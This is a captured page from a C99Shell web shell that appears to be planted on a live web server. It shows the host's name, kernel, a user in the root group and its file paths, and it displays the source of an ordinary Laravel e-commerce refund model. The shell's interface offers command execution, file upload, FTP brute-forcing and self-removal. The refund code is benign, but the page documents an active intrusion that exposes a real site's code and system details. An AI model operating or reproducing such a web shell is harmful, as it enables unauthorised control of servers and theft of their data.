!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Refund/Entities/   drwxr-xr-x
Free 26.47 GB of 117.98 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Refund.php (13.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package Refund model
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 24-02-2022
 */

namespace Modules\Refund\Entities;

use 
App\Traits\ModelTraits\hasFiles;

use 
App\Models\{
    
Inventory,
    
Model,
    
OrderDetail,
    
Transaction,
    
User
};
use 
ValidatorAuth;

class 
Refund extends Model
{
    use 
hasFiles;
    
/**
     * timestamps
     *
     * @var boolean
     */
    
public $timestamps false;

    
/**
     * Relation with User model
     *
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    
public function user()
    {
        return 
$this->belongsTo(User::class);
    }

    
/**
     * Relation with OrderDetail model
     *
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    
public function orderDetail()
    {
        return 
$this->belongsTo(OrderDetail::class);
    }

    
/**
     * Relation with RefundReason model
     *
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    
public function refundReason()
    {
        return 
$this->belongsTo(RefundReason::class);
    }

    
/**
     * Relation with RefundProcess model
     *
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    
public function refundProcesses()
    {
        return 
$this->hasMany(RefundProcess::class);
    }

    
/**
     * Store Validation
     *
     * @param array $data
     * @return mixed
     */
    
protected static function storeValidation($data = [])
    {
        
$validator Validator::make($data, [
            
'order_detail_id' => 'required|exists:order_details,id',
            
'refund_reason_id' => 'required|exists:refund_reasons,id',
            
'quantity_sent' => 'required|numeric',
            
'refund_type' => 'required|in:Full,Partial',
            
'refund_method' => 'required|in:Wallet',
            
'shipping_method' => 'required',
            
'payment_status' => 'required|in:Paid,Unpaid',
            
'status' => 'required|in:Opened,In progress,Accepted,Declined',
        ], [
            
'status.in' => __('Refund status must be Opened, In progress, Accepted or Declined.')
        ]);
        return 
$validator;
    }

    
/**
     * Update Validation
     *
     * @param array $data
     * @return mixed
     */
    
protected static function updateValidation($data = [])
    {
        
$validator Validator::make($data, [
            
'status' => 'required|in:Opened,In progress,Accepted,Declined',
        ], [
            
'status.in' => __('Refund status must be Opened, In progress, Accepted or Declined.')
        ]);
        return 
$validator;
    }

    
/**
     * Store Refund
     *
     * @param array $data
     * @return array $response
     */
    
public function store($data)
    {
        
$response = ['status' => 'fail''message' => __('Something went wrong, please try again.')];
        
$refund parent::where(['user_id' => $data['user_id'], 'order_detail_id' => $data['order_detail_id']])->first();
        if (!empty(
$refund) && ($refund->quantity_sent $data['quantity_sent']) > $refund->orderDetail->quantity) {
            
$response['message'] = __('You have exceeded product quantity limit.');
            return 
$response;
        }
        if (
parent::insert(array_intersect_key($dataarray_flip((array) [
            
'user_id',
            
'order_detail_id',
            
'refund_reason_id',
            
'reference',
            
'quantity_sent',
            
'refund_type',
            
'refund_method',
            
'shipping_method',
            
'payment_status',
            
'status',
            ])))) {
            
$this->uploadFiles(['isUploaded' => false'isSavedInObjectFiles' => true'isOriginalNameRequired' => true'thumbnail' => false]);
            
$response = ['status' => 'success''message' => __('Refund request send successfully.')];
        }
        return 
$response;
    }

    
/**
     * Update Refund
     *
     * @param array $request
     * @param int $id
     * @return array $data
     */
    
public function updateData($request = [], $id null)
    {
        
$data = ['status' => 'fail''message' => __('Refund does not found.')];
        
$result parent::where('id'$id);
        if (
$result->exists()) {
            try {
                
\DB::beginTransaction();

                
$result->update(array_intersect_key($requestarray_flip((array) ['status'])));

                if (
$request['status'] == 'Accepted') {
                    
$product Refund::find($id)->orderDetail->product;
                    if (
$product->parent_id) {
                        isset(
$product->parentDetail()->first()->vendor) ? $product->parentDetail()->first()->vendor->users->first()->user->wallet()->decrementBalance($request['total']) : '';
                    } else {
                        isset(
$product->vendor) ? $product->vendor->users->first()->user->wallet()->decrementBalance($request['total']) : '';
                    }

                    
User::find($request['user_id'])->wallet()->incrementBalance($request['total']);
                    
/* inventory refund */
                    
$refundDetails $result->first();

                    if (isset(
$refundDetails->orderDetail->product) && $refundDetails->orderDetail->is_stock_reduce == 1) {
                        
$refundDetails->orderDetail->product->incrementTotalStocks($refundDetails->quantity_sent);
                        
$totalRefund Refund::where('order_detail_id'$refundDetails->orderDetail->id)->where('status''Accepted')->sum('quantity_sent');

                        if (
$totalRefund == $refundDetails->orderDetail->quantity) {
                            
OrderDetail::where('id'$refundDetails->orderDetail->id)->update(['is_stock_reduce' => 0,'order_status_id' => 7]);
                        }

                    } elseif (isset(
$refundDetails->orderDetail->product) &&
                        
$refundDetails->orderDetail->product->type == 'Variation' &&
                        isset(
$refundDetails->orderDetail->product->parentDetail) &&
                        
$refundDetails->orderDetail->is_stock_reduce == 1) {
                        
$refundDetails->orderDetail->product->parentDetail->incrementTotalStocks($refundDetails->quantity_sent);

                        
$totalRefund Refund::where('order_detail_id'$refundDetails->orderDetail->id)->where('status''Accepted')->sum('quantity_sent');

                        if (
$totalRefund == $refundDetails->orderDetail->quantity) {
                            
OrderDetail::where('id'$refundDetails->orderDetail->id)->update(['is_stock_reduce' => 0,'order_status_id' => 7]);
                        }
                    }
                    
/* end inventory */
                    /*transaction*/
                    
$vendorTransaction Transaction::where('reference_number'$result->first()->order_detail_id)->where('transaction_type'"Vendor_transaction_actual_price")->first();
                    
$vendorTransactionWithDiscount Transaction::where('reference_number'$result->first()->order_detail_id)->where('transaction_type'"Vendor_transaction_discount_price")->first();
                    
$vendorCommission Transaction::where('reference_number'$result->first()->order_detail_id)->where('transaction_type'"Vendor_commission")->first();

                    if (!empty(
$vendorTransaction)) {
                        
$discountAmount = !empty($vendorTransactionWithDiscount) ? $vendorTransactionWithDiscount->discount 0;
                        
$transaction = [];
                        
$transaction['user_id'] = Auth::user()->id;
                        
$transaction['currency_id'] = $vendorTransaction->currency_id;
                        
$transaction['order_id'] = $vendorTransaction->order_id;
                        
$transaction['exchange_rate'] = $vendorTransaction->exchange_rate;
                        
$transaction['vendor_id'] = $vendorTransaction->vendor_id;
                        
$transaction['shop_id'] = $vendorTransaction->shop_id;
                        
$transaction['total_amount'] = $vendorTransaction->total_amount $discountAmount;
                        
$transaction['amount'] = $vendorTransaction->amount $discountAmount;
                        
$transaction['reference_number'] = $vendorTransaction->reference_number;
                        
$transaction['reference_type'] = 'order_details';
                        
$transaction['transaction_type'] = "Refund_product";
                        
$transaction['transaction_date'] = now();
                        
$transaction['status'] = "Accepted";
                        (new 
Transaction)->store($transaction);
                    }

                    if (!empty(
$vendorCommission)) {
                        
$transaction = [];
                        
$transaction['user_id'] = Auth::user()->id;
                        
$transaction['currency_id'] = $vendorCommission->currency_id;
                        
$transaction['order_id'] = $vendorCommission->order_id;
                        
$transaction['exchange_rate'] = $vendorCommission->exchange_rate;
                        
$transaction['vendor_id'] = $vendorCommission->vendor_id;
                        
$transaction['shop_id'] = $vendorCommission->shop_id;
                        
$transaction['total_amount'] = $vendorCommission->total_amount;
                        
$transaction['amount'] = $vendorCommission->amount;
                        
$transaction['reference_number'] = $vendorCommission->reference_number;
                        
$transaction['reference_type'] = 'order_details';
                        
$transaction['transaction_type'] = "Refund_commission";
                        
$transaction['transaction_date'] = now();
                        
$transaction['status'] = "Accepted";
                        (new 
Transaction)->store($transaction);

                        if (
$product->parent_id) {
                            isset(
$product->parentDetail()->first()->vendor) ? $product->parentDetail()->first()->vendor->users->first()->user->wallet()->incrementBalance($vendorCommission->total_amount) : '';
                        } else {
                            isset(
$product->vendor) ? $product->vendor->users->first()->user->wallet()->incrementBalance($vendorCommission->total_amount) : '';
                        }

                    }
                }
                
self::forgetCache();
                
$data = ['status' => 'success''message' => __('The :x has been successfully saved.', ['x' => __('Refund')])];
                
\DB::commit();
            } catch (
\Exception $e) {
                
\DB::rollBack();
                
$data['error'] = __('Something went wrong, please try again.');
            }
        }
        return 
$data;
    }

    
/**
     * Find order number that is not refund yet.
     *
     * @return array $orders
     */
    
public static function getOrders()
    {
        
$details OrderDetail::select('id''order_id''quantity')
            ->
with('order:id,reference')->where(['is_delivery' => 1])
            ->
withSum('refund as refund_quantity''quantity_sent')
            ->
whereHas('order', function($query) {
                
$query->where('user_id'auth()->user()->id);
            })
            ->
get();

        
$orders = [];
        foreach (
$details as $detail) {
            if (
$detail->refund_quantity == null || $detail->refund_quantity $detail->quantity) {
                
$orders[$detail->order->id] = $detail->order->reference;
            }
        }

        return 
$orders;
    }

    
/**
     * Find items with order reference
     *
     * @param string $reference
     * @return array $details
     */
    
public static function getProducts($reference)
    {
        
$orderDetail OrderDetail::select('id''product_id''product_name''quantity')
        ->
where('is_delivery'1)
        ->
whereHas('order', function($query) use($reference) {
            
$query->where('reference'$reference);
        })
        ->
withSum('refund as refund_quantity''quantity_sent')
        ->
get();

        
$details = [];
        foreach (
$orderDetail as $detail) {
            if (
$detail->quantity $detail->refund_quantity) {
                
$details[$reference][] = ['id' => $detail->id'product_id' => $detail->product_id'product_name' => $detail->product_name'quantity' => ($detail->quantity $detail->refund_quantity)];
            }
        }

        return 
$details;
    }

    
/**
     * get reund product image
     *
     * @return mixed
     */
    
public function getRefundImage()
    {
        if(!
is_null(optional(optional(optional($this->orderDetail)->product)->parent_id))) {
            if(
is_array(optional(optional($this->orderDetail)->product)->getImages(true'small'))) {
                return 
optional(optional($this->orderDetail)->product)->getImages(true'small')[0];
            } else {
                return 
optional(optional($this->orderDetail)->product)->getImages(true'small');
            }
        }

        return 
optional(optional($this->orderDetail)->product)->getFeaturedImage('small');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--